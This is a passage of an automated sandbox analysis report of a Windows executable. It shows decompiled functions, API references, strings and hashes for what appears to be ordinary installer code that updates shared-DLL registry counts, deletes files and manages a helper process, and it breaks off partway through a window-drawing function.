Sleep.KERNEL32(000000FA,00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 004563C9

Strings

Stopping 64-bit helper process., xrefs: 00456320
Helper isn't responding; killing it., xrefs: 0045633E
Helper process exited., xrefs: 00456379
Helper process exited with failure code: 0x%x, xrefs: 00456397
Helper process exited, but failed to get exit code., xrefs: 004563A3

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitLocalObjectSingleSleepTerminateTimeWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process.
API String ID: 3354603272-531598853
Opcode ID: 82dd5589c4a1b1667aa46219dc32579f794879d120c0b2f60b41663e5ed864c5
Instruction ID: 9b7f2ab07430efa22c8a7431e96b691d9f1dfba80aa7278ab83026af9fdd60fa
Opcode Fuzzy Hash: 82dd5589c4a1b1667aa46219dc32579f794879d120c0b2f60b41663e5ed864c5
Instruction Fuzzy Hash: CD11AF70A057009ADB10AB68888575E23D48F08305F45882FBEC5DB2D3C73C884CDB2F

Uniqueness

Uniqueness Score: -1.00%

Function 00452DC4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00452DC4(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _v5;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				int _v28;
				int _v32;
				char _v36;
				char* _v40;
				char _v44;
				char* _v48;
				char _v52;
				char _v56;
				char _v60;
				intOrPtr _v64;
				char* _v68;
				char _v72;
				char _v76;
				void* _t81;
				void* _t82;
				signed int _t92;
				void* _t96;
				void* _t125;
				void* _t130;
				void* _t162;
				intOrPtr _t184;
				intOrPtr _t186;
				void* _t199;
				void* _t201;
				void* _t202;
				intOrPtr _t203;

				_t201 = _t202;
				_t203 = _t202 + 0xffffffb8;
				_v44 = 0;
				_v56 = 0;
				_v72 = 0;
				_v76 = 0;
				_v36 = 0;
				_v5 = __ecx;
				_t199 = __edx;
				_push(_t201);
				_push(0x45305f);
				_push( *[fs:edx]);
				 *[fs:edx] = _t203;
				_t82 = E0042DC7C(_t81, "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs", 0x80000002,  &_v16,  &_v12, 0, 3, 0, 0, 0);
				_t168 = _t82;
				if(_t82 != 0) {
					E00451F90(0x80000002,  &_v56);
					_v52 = _v56;
					_v48 = "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs";
					E00450AE8(0x3e, 1,  &_v52,  &_v44);
					E004036C4( &_v44, 0x4530f0);
					_push( &_v44);
					_v68 = "RegCreateKeyEx";
					E00406DFC(_t168,  &_v72);
					_v64 = _v72;
					E0042E6D0(_t168,  &_v76);
					_v60 = _v76;
					E00450AE8(0x34, 2,  &_v68,  &_v56);
					_pop(_t162);
					E004036C4(_t162, _v56);
					E00408CA0(_v44, 1);
					E00403264();
				}
				_v40 = E00403880(_t199);
				_v24 = 0;
				_v32 = 4;
				_push(_t201);
				_push(0x452f9b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t203;
				if(RegQueryValueExA(_v12, _v40, 0,  &_v28, 0,  &_v20) == 0) {
					_t125 = _v28 - 1;
					if(_t125 == 0) {
						if(E0042DBE4() != 0) {
							_v24 = E00406E2C(_v36,  &_v36);
							_v32 = 1;
						}
					} else {
						_t130 = _t125 - 2;
						if(_t130 == 0) {
							if(_v20 >= 1 && _v20 <= 4) {
								if(RegQueryValueExA(_v12, _v40, 0, 0,  &_v24,  &_v20) != 0) {
									E00408C74();
								}
								_v32 = 3;
							}
						} else {
							if(_t130 == 1) {
								_v20 = 4;
								if(RegQueryValueExA(_v12, _v40, 0, 0,  &_v24,  &_v20) != 0) {
									E00408C74();
								}
							}
						}
					}
				}
				_t92 = 0;
				_pop(_t184);
				 *[fs:eax] = _t184;
				if(_v24 < 0) {
					_t92 = 0;
					_v24 = 0;
				}
				if(((_t92 & 0xffffff00 | _v24 == 0x00000000) & _v5) != 0) {
					_v24 = _v24 + 1;
				}
				_v24 = _v24 + 1;
				_t96 = _v32 - 1;
				if(_t96 == 0) {
					E00406DFC(_v24,  &_v36);
					_push(E004036BC(_v36) + 1);
					_push(E00403880(_v36));
					_push(_v32);
					_push(0);
					_push(_v40);
					_push(_v12);
					L00405934();
				} else {
					if(_t96 + 0xfffffffe - 2 < 0) {
						_push(4);
						_push( &_v24);
						_push(_v32);
						_push(0);
						_push(_v40);
						_push(_v12);
						L00405934();
					}
				}
				RegCloseKey(_v12);
				_pop(_t186);
				 *[fs:eax] = _t186;
				_push(0x453066);
				E00403568( &_v76, 2);
				E00403548( &_v56);
				E00403548( &_v44);
				return E00403548( &_v36);
			}

0x00452dc5
0x00452dc7
0x00452dcf
0x00452dd2
0x00452dd5
0x00452dd8
0x00452ddb
0x00452dde
0x00452de1
0x00452de5
0x00452de6
0x00452deb
0x00452dee
0x00452e0d
0x00452e12
0x00452e16
0x00452e28
0x00452e30
0x00452e38
0x00452e45
0x00452e52
0x00452e5a
0x00452e64
0x00452e6c
0x00452e74
0x00452e7c
0x00452e84
0x00452e91
0x00452e99
0x00452e9a
0x00452ea9
0x00452eae
0x00452eae
0x00452eba
0x00452ebf
0x00452ec2
0x00452ecb
0x00452ecc
0x00452ed1
0x00452ed4
0x00452ef2
0x00452efb
0x00452efc
0x00452f1b
0x00452f25
0x00452f28
0x00452f28
0x00452efe
0x00452efe
0x00452f01
0x00452f35
0x00452f58
0x00452f5a
0x00452f5a
0x00452f5f
0x00452f5f
0x00452f03
0x00452f04
0x00452f68
0x00452f8a
0x00452f8c
0x00452f8c
0x00452f8a
0x00452f04
0x00452f01
0x00452efc
0x00452f91
0x00452f93
0x00452f96
0x00452fae
0x00452fb0
0x00452fb2
0x00452fb2
0x00452fbf
0x00452fc1
0x00452fc1
0x00452fc4
0x00452fca
0x00452fcb
0x00452fdd
0x00452feb
0x00452ff4
0x00452ff8
0x00452ff9
0x00452ffe
0x00453002
0x00453003
0x00452fcd
0x00452fd3
0x0045300a
0x0045300f
0x00453013
0x00453014
0x00453019
0x0045301d
0x0045301e
0x0045301e
0x00452fd3
0x00453027
0x0045302e
0x00453031
0x00453034
0x00453041
0x00453049
0x00453051
0x0045305e

APIs

Part of subcall function 0042DC7C: 6C8D64E0.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DCA8

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,00452F9B,?,00000000,0045305F), ref: 00452EEB
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,00452F9B,?,00000000,0045305F), ref: 00453027

Part of subcall function 0042E6D0: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451D17,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E6EF

Strings

Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452E03
RegCreateKeyEx, xrefs: 00452E5F
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452E33
, xrefs: 00452E4D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2240843642-1280779767
Opcode ID: d783b34475f1e1d3c4f470bfa485c4fefb4f5ed7ea496ecdbf0998412793e869
Instruction ID: 65fa3514b9301d2a41a7ae804044056a1f5ce6c6599497d784368b85e637474e
Opcode Fuzzy Hash: d783b34475f1e1d3c4f470bfa485c4fefb4f5ed7ea496ecdbf0998412793e869
Instruction Fuzzy Hash: 21811F72900209AFDB10DFE5D941BEFB7B8EB09705F10442BF904F7292D7799A098B69

Uniqueness

Uniqueness Score: -1.00%

Function 0045769C Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0045769C(char __eax, void* __ebx, char __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, char _a4, char _a8, intOrPtr _a12) {
				char _v5;
				char _v6;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _t52;
				void* _t96;
				void* _t111;
				intOrPtr _t129;
				intOrPtr _t141;
				void* _t149;
				signed int _t150;
				char _t152;
				void* _t154;
				void* _t155;
				intOrPtr _t156;

				_t148 = __edi;
				_t154 = _t155;
				_t156 = _t155 + 0xffffffec;
				_push(__edi);
				_v12 = 0;
				_v24 = 0;
				_v5 = __ecx;
				_t111 = __edx;
				_t152 = __eax;
				_push(_t154);
				_push(0x4578df);
				_push( *[fs:eax]);
				 *[fs:eax] = _t156;
				_v6 = 1;
				E0042C914(__eax, __ecx,  &_v12, __eflags);
				_t52 = E00406B20(_v12, 0x4578fc);
				_t158 = _t52;
				if(_t52 == 0) {
					E0042C568(_t152, _t111,  &_v12, 0x45790c, __edi, _t152, _t158);
					E00451424(_t111, _v12, _t158);
					E0042C568(_t152, _t111,  &_v12, 0x45791c, __edi, _t152, _t158);
					E00451424(_t111, _v12, _t158);
				}
				if(E004518BC(_t111, _t152, _t158) == 0) {
					L19:
					_pop(_t129);
					 *[fs:eax] = _t129;
					_push(E004578E6);
					E00403548( &_v24);
					return E00403548( &_v12);
				} else {
					_v20 = _t152;
					_v16 = 0xb;
					_t115 = 0;
					E00455D54("Deleting file: %s", _t111, 0,  &_v20, _t148, _t152);
					_t160 = _a4;
					if(_a4 != 0) {
						_t150 = E004515FC(_t111, _t152, _t160);
						if(_t150 != 0xffffffff) {
							_t162 = _t150 & 0x00000001;
							if((_t150 & 0x00000001) != 0) {
								_t115 = _t150 & 0xfffffffe;
								_t96 = E004519A4(_t111, _t150 & 0xfffffffe, _t152, _t162);
								_t163 = _t96;
								if(_t96 == 0) {
									E00455B64("Failed to strip read-only attribute.", _t111, _t150, _t152);
								} else {
									E00455B64("Stripped read-only attribute.", _t111, _t150, _t152);
								}
							}
						}
					}
					if(E00451424(_t111, _t152, _t163) != 0) {
						__eflags = _v5;
						if(_v5 != 0) {
							SHChangeNotify(4, 1, E00403880(_t152), 0);
							E0042C8BC(_t152, _t115,  &_v12);
							E0045498C( *((intOrPtr*)(_a12 - 0x14)), _t115, _v12);
						}
						goto L19;
					}
					_t149 = GetLastError();
					if(_a8 == 0 ||  *((char*)(_a12 - 1)) == 0) {
						L16:
						_v20 = _t149;
						_v16 = 0;
						E00455D54("Failed to delete the file; it may be in use (%d).", _t111, 0,  &_v20, _t149, _t152);
						_v6 = 0;
						goto L19;
					} else {
						if(_t149 == 5) {
							L14:
							if((E004515FC(_t111, _t152, _t168) & 0x00000001) != 0) {
								goto L16;
							}
							_v20 = _t149;
							_v16 = 0;
							E00455D54("The file appears to be in use (%d). Will delete on restart.", _t111, 0,  &_v20, _t149, _t152);
							_push(_t154);
							_push(0x45783c);
							_push( *[fs:eax]);
							 *[fs:eax] = _t156;
							E004525EC(_t111, _t111, _t152, _t149, _t152);
							 *((char*)( *((intOrPtr*)(_a12 - 8)) + 0x1c)) = 1;
							E0042C81C(_t152,  &_v24);
							E0042C8BC(_v24, 0,  &_v12);
							E0045498C( *((intOrPtr*)(_a12 + 0xfffffffffffffff0)), _a12, _v12);
							_pop(_t141);
							 *[fs:eax] = _t141;
							goto L19;
						}
						_t168 = _t149 - 0x20;
						if(_t149 != 0x20) {
							goto L16;
						}
						goto L14;
					}
				}
			}

0x0045769c
0x0045769d
0x0045769f
0x004576a4
0x004576a7
0x004576aa
0x004576ad
0x004576b0
0x004576b2
0x004576b6
0x004576b7
0x004576bc
0x004576bf
0x004576c2
0x004576cb
0x004576d8
0x004576dd
0x004576df
0x004576eb
0x004576f5
0x00457704
0x0045770e
0x0045770e
0x0045771e
0x004578c1
0x004578c3
0x004578c6
0x004578c9
0x004578d1
0x004578de
0x00457724
0x00457724
0x00457727
0x0045772e
0x00457735
0x0045773a
0x0045773e
0x00457749
0x0045774e
0x00457750
0x00457756
0x0045775a
0x00457761
0x00457766
0x00457768
0x0045777b
0x0045776a
0x0045776f
0x0045776f
0x00457768
0x00457756
0x0045774e
0x0045778b
0x00457890
0x00457894
0x004578a4
0x004578ae
0x004578bc
0x004578bc
0x00000000
0x00457894
0x00457796
0x0045779c
0x00457874
0x00457874
0x00457877
0x00457885
0x0045788a
0x00000000
0x004577af
0x004577b2
0x004577bd
0x004577c8
0x00000000
0x00000000
0x004577ce
0x004577d1
0x004577df
0x004577e6
0x004577e7
0x004577ec
0x004577ef
0x004577f8
0x00457803
0x0045780c
0x00457817
0x0045782a
0x00457831
0x00457834
0x00000000
0x00457834
0x004577b4
0x004577b7
0x00000000
0x00000000
0x00000000
0x004577b7
0x0045779c

APIs

GetLastError.KERNEL32(00000000,004578DF,?,?,?,?), ref: 00457791

Part of subcall function 00451424: 6C8D5F60.KERNEL32(00000000,00000000,00451481,?,-00000001,?), ref: 0045145B
Part of subcall function 00451424: GetLastError.KERNEL32(00000000,00000000,00451481,?,-00000001,?), ref: 00451463

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

Strings

Deleting file: %s, xrefs: 00457730
.GID, xrefs: 004576E4
Failed to strip read-only attribute., xrefs: 00457776
.HLP, xrefs: 004576D3
The file appears to be in use (%d). Will delete on restart., xrefs: 004577DA
Stripped read-only attribute., xrefs: 0045776A
.FTS, xrefs: 004576FD
Failed to delete the file; it may be in use (%d)., xrefs: 00457880

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLast$LocalTime
String ID: .FTS$.GID$.HLP$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 3586426482-88052198
Opcode ID: c53927524a0be121146ecac79b4154f9cb06472446eed1adc4c29ecd637aa9d7
Instruction ID: d1a5732fae48b35c6b067986d8cdc98c863a1d332040d828df944f2f84c25ea7
Opcode Fuzzy Hash: c53927524a0be121146ecac79b4154f9cb06472446eed1adc4c29ecd637aa9d7
Instruction Fuzzy Hash: 7B51DB30B082445BDB00EB69A8857AE7BA5AB49315F00847AEC009B393C77C9E4DCB99

Uniqueness

Uniqueness Score: -1.00%

Function 00489A20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00489A20(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				struct HWND__* _v12;
				void* _v16;
				char _v20;
				char _v24;
				struct HWND__* _v28;
				char _v32;
				char _v36;
				char _v40;
				intOrPtr _t39;
				void* _t40;
				struct HINSTANCE__* _t43;
				intOrPtr _t48;
				void* _t61;
				struct HWND__* _t69;
				intOrPtr _t73;
				intOrPtr _t92;
				intOrPtr _t94;
				void* _t98;
				void* _t99;
				intOrPtr _t100;

				_t96 = __esi;
				_t95 = __edi;
				_t80 = __ecx;
				_t79 = __ebx;
				_t98 = _t99;
				_t100 = _t99 + 0xffffffdc;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v20 = 0;
				_v40 = 0;
				_v8 = 0;
				_push(_t98);
				_push(0x489bf1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t100;
				E0042D8BC( &_v20, __ebx, __ecx, __edi, __esi);
				if(E0045229C(_v20, _t79,  &_v8, _t95, _t96) == 0) {
					_push(_t98);
					_push( *[fs:eax]);
					 *[fs:eax] = _t100;
					E004525EC(0, _t79, _v8, _t95, _t96);
					_pop(_t94);
					_t80 = 0x489a7d;
					 *[fs:eax] = _t94;
				}
				_push(0);
				_push(E00403880(_v8));
				_t39 =  *0x4ae320; // 0x0
				_t40 = E00403880(_t39);
				_push(_t40);
				L00405954();
				_t103 = _t40;
				if(_t40 == 0) {
					_t73 =  *0x48dcf4; // 0x2179860
					E004892C4(_t73, _t79, _t80, _t95, _t96, _t103);
				}
				_push(0x80);
				_push(E00403880(_v8));
				L00405BDC();
				_t43 =  *0x48d014; // 0x400000
				_v12 = CreateWindowExA(0, "STATIC", 0x489c00, 0, 0, 0, 0, 0, 0, 0, _t43, 0);
				 *0x4ae348 = SetWindowLongA(_v12, 0xfffffffc, E00489474);
				_push(_t98);
				_push(0x489bc4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t100;
				_t48 =  *0x48d628; // 0x2162410
				SetWindowPos( *(_t48 + 0x20), 0, 0, 0, 0, 0, 0x97);
				E0042D394(0, _t79,  &_v40, _t95, _t96);
				_v36 = _v40;
				_v32 = 0xb;
				_v28 = _v12;
				_v24 = 0;
				E00407988("/SECONDPHASE=\"%s\" /FIRSTPHASEWND=$%x ", 1,  &_v36,  &_v20);
				_push( &_v20);
				E0042D204( &_v40);
				_pop(_t61);
				E004036C4(_t61, _v40);
				_v16 = E0048936C(_v8, _t79, _v20, _t95, _t96, 0);
				do {
				} while (E00489438() == 0 && MsgWaitForMultipleObjects(1,  &_v16, 0, 0xffffffff, 0xff) == 1);
				CloseHandle(_v16);
				_pop(_t92);
				 *[fs:eax] = _t92;
				_push(E00489BCB);
				_t69 = _v12;
				_push(_t69);
				L00405F64();
				return _t69;
			}

0x00489a20
0x00489a20
0x00489a20
0x00489a20
0x00489a21
0x00489a23
0x00489a26
0x00489a27
0x00489a28
0x00489a2b
0x00489a2e
0x00489a31
0x00489a36
0x00489a37
0x00489a3c
0x00489a3f
0x00489a45
0x00489a57
0x00489a5b
0x00489a61
0x00489a64
0x00489a6e
0x00489a75
0x00489a77
0x00489a78
0x00489a78
0x00489a87
0x00489a91
0x00489a92
0x00489a97
0x00489a9c
0x00489a9d
0x00489aa2
0x00489aa4
0x00489aa6
0x00489aab
0x00489aab
0x00489ab0
0x00489abd
0x00489abe
0x00489ac5
0x00489aea
0x00489afd
0x00489b04
0x00489b05
0x00489b0a
0x00489b0d
0x00489b1f
0x00489b28
0x00489b36
0x00489b3e
0x00489b41
0x00489b48
0x00489b4b
0x00489b5c
0x00489b64
0x00489b68
0x00489b70
0x00489b71
0x00489b81
0x00489b84
0x00489b89
0x00489ba8
0x00489baf
0x00489bb2
0x00489bb5
0x00489bba
0x00489bbd
0x00489bbe
0x00489bc3

APIs

Part of subcall function 0045229C: 6C8D5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00489BF1,_iu,?,00000000,004523D6), ref: 0045238B
Part of subcall function 0045229C: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00489BF1,_iu,?,00000000,004523D6), ref: 0045239B

6C8D5AA0.KERNEL32(00000000,00000000,00000000,00000000,00489BF1), ref: 00489A9D
6C8D69D0.KERNEL32(00000000,00000080,00000000,00000000,00000000,00000000,00489BF1), ref: 00489ABE
CreateWindowExA.USER32 ref: 00489AE5
SetWindowLongA.USER32 ref: 00489AF8
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00489BC4,?,?,000000FC,00489474,00000000,STATIC,00489C00), ref: 00489B28
MsgWaitForMultipleObjects.USER32 ref: 00489B9C
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00489BC4,?,?,000000FC,00489474,00000000), ref: 00489BA8

Part of subcall function 004525EC: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004526D3

740C9840.USER32(?,00489BCB,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00489BC4,?,?,000000FC,00489474,00000000,STATIC), ref: 00489BBE

Strings

/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 00489B57
STATIC, xrefs: 00489ADE

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$CloseHandle$C9840CreateLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 257583649-2312673372
Opcode ID: b6d81cb5deb64343c64eaf6fd9441b967f929e7c7847470b12341b3c670fdddb
Instruction ID: f15b8aae4c78235ced6120211af2219e00c220a19f9896692e628c5bb0c8e16d
Opcode Fuzzy Hash: b6d81cb5deb64343c64eaf6fd9441b967f929e7c7847470b12341b3c670fdddb
Instruction Fuzzy Hash: 78415D71A00608AEDF10FBA5DC42FAE77F8EB09714F10497AF510F7291D679AE008B68

Uniqueness

Uniqueness Score: -1.00%

Function 0042E99C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042E9A8
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042E9BC
6C8D5550.KERNEL32(00000000,MonitorFromWindow,user32.dll), ref: 0042E9C9
6C8D5550.KERNEL32(00000000,GetMonitorInfoA,00000000,MonitorFromWindow,user32.dll), ref: 0042E9D6
GetWindowRect.USER32 ref: 0042EA22
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 0042EA60

Strings

GetMonitorInfoA, xrefs: 0042E9D0
user32.dll, xrefs: 0042E9B7
(, xrefs: 0042EA01
MonitorFromWindow, xrefs: 0042E9C3

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$D5550$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 3275387371-3407710046
Opcode ID: 9265eb0d5d374d6e5454a4b18053e0e4af1e5ba6544aec4509c430739ed00abd
Instruction ID: 7fa31d1e0882b40fe014ad80680a7c2db7e1f7962834736ed83b4a6a8dfe5178
Opcode Fuzzy Hash: 9265eb0d5d374d6e5454a4b18053e0e4af1e5ba6544aec4509c430739ed00abd
Instruction Fuzzy Hash: 77219F767016256BD710DA699C81F3F73D8EB84724F494A2DF944AB381EA78EC008B59

Uniqueness

Uniqueness Score: -1.00%

Function 0044D1B0 Relevance: 17.0, APIs: 11, Instructions: 477
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0044D1B0(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, signed int _a4) {
				void* _v8;
				intOrPtr _v12;
				signed int _v13;
				int _v20;
				int _v24;
				signed int _v28;
				int _v32;
				signed int _v36;
				long _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				int _v60;
				char _v64;
				int _v68;
				void _v72;
				struct tagRECT _v88;
				intOrPtr _v96;
				void _v104;
				struct tagRECT _v120;
				char _v124;
				void* _t256;
				signed int _t263;
				void* _t266;
				signed int _t278;
				int _t279;
				long _t327;
				long _t332;
				intOrPtr _t337;
				int _t339;
				void* _t350;
				void* _t352;
				void* _t406;
				signed int _t411;
				signed int _t412;
				int _t414;
				signed int _t431;
				intOrPtr _t452;
				int _t453;
				signed int _t455;
				signed int _t480;
				signed int _t481;
				intOrPtr _t482;
				intOrPtr _t489;
				signed int _t502;
				signed int _t503;
				intOrPtr _t504;
				signed int _t511;
				int _t514;
				void* _t522;
				long _t531;
				void* _t536;
				intOrPtr _t538;
				void* _t550;
				char _t554;
				void* _t560;

				_t482 = __edx;
				_t535 = _t536;
				_push(__edi);
				_v124 = 0;
				_t256 = memcpy( &_v72, __ecx, 4 << 2);
				_t538 = _t536 + 0xffffffffffffff94;
				_t458 = 0;
				_v12 = _t482;
				_v8 = _t256;
				_push(_t536);
				_push(0x44d7b0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t538;
				if( *((char*)(_v8 + 0x164)) != 0 &&  *((char*)(_v8 + 0x174)) == 0) {
					E0044E818(_v8);
					 *((char*)(_v8 + 0x174)) = 1;
				}
				_t522 = E0044DC98(_v8);
				if( *0x48d744 == 0) {
					__eflags = 0;
					_v44 = 0;
				} else {
					_v44 = SendMessageA(E004182A8(_v8), 0x129, 0, 0);
				}
				if( *((char*)(_v8 + 0x38)) == 0 ||  *((char*)(_t522 + 4)) == 0) {
					_t263 = 1;
				} else {
					_t263 = 0;
				}
				_v13 = _t263;
				_t531 =  *(_v8 + 0x104);
				if( *(_v8 + 0x16c) != 0) {
					_t546 = _a4 & 0x00000001;
					if((_a4 & 0x00000001) != 0) {
						E0041A774( *((intOrPtr*)(_t531 + 0x14)),  *((intOrPtr*)(_v8 + 0x48)), _t546);
					}
				}
				_t266 = _v8;
				_t547 =  *((char*)(_t266 + 0x164));
				if( *((char*)(_t266 + 0x164)) == 0) {
					L31:
					if( *((char*)(_t522 + 8)) == 0) {
						L62:
						E0041AD28(_t531, _t458,  &_v72, _t522);
						_v72 = _v72 + 1;
						_v40 = GetTextColor(E0041B15C(_t531));
						if(_v13 == 0) {
							__eflags =  *(_v8 + 0x16c);
							if(__eflags != 0) {
								_t327 = E0041A120( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x44)) + 0x10)));
								SetTextColor(E0041B15C(_t531), _t327);
							}
						} else {
							if( *(_v8 + 0x16c) == 0 && (_a4 & 0x00000001) == 0) {
								_t332 = GetSysColor(0x11);
								SetTextColor(E0041B15C(_t531), _t332);
							}
						}
						_t573 =  *((intOrPtr*)(_t522 + 0x14));
						if( *((intOrPtr*)(_t522 + 0x14)) == 0) {
							_t199 =  &_v64;
							 *_t199 = _v64 -  *((intOrPtr*)(_v8 + 0x158));
							__eflags =  *_t199;
						} else {
							_v48 = E0041AFF4(_t531, _t458,  *((intOrPtr*)(_t522 + 0x14)), _t522, _t573) +  *((intOrPtr*)(_v8 + 0x158)) +  *((intOrPtr*)(_v8 + 0x158));
							memcpy( &_v104,  &_v72, 4 << 2);
							_t538 = _t538 + 0xc;
							_t522 = _t522;
							_t531 = _t531;
							_v104 = _v96 - _v48 +  *((intOrPtr*)(_v8 + 0x158));
							E0044D0AC( *((intOrPtr*)(_t522 + 0x14)), 0x924,  &_v104,  *(_v8 + 0x16c) & _v13, _t535);
							_v64 = _v64 - _v48;
						}
						if( *(_v8 + 0x16c) == 0) {
							_v72 = _v72 + 1;
						}
						_t278 = _v60 - _v68 -  *((intOrPtr*)(_t522 + 0x38));
						_t279 = _t278 >> 1;
						if(_t278 < 0) {
							asm("adc eax, 0x0");
						}
						OffsetRect( &_v72, 0, _t279);
						_v36 = 0x40110;
						if( *(_v8 + 0x16c) == 0 ||  *((char*)(_t522 + 8)) == 0) {
							_v36 = _v36 | 0x00000800;
						}
						if((_v44 & 0x00000002) != 0) {
							_v36 = _v36 | 0x00100000;
						}
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xfc)))) + 0xc))();
						E0044D0AC(_v124, _v36 | 0x00000400,  &_v72, 0, _t535);
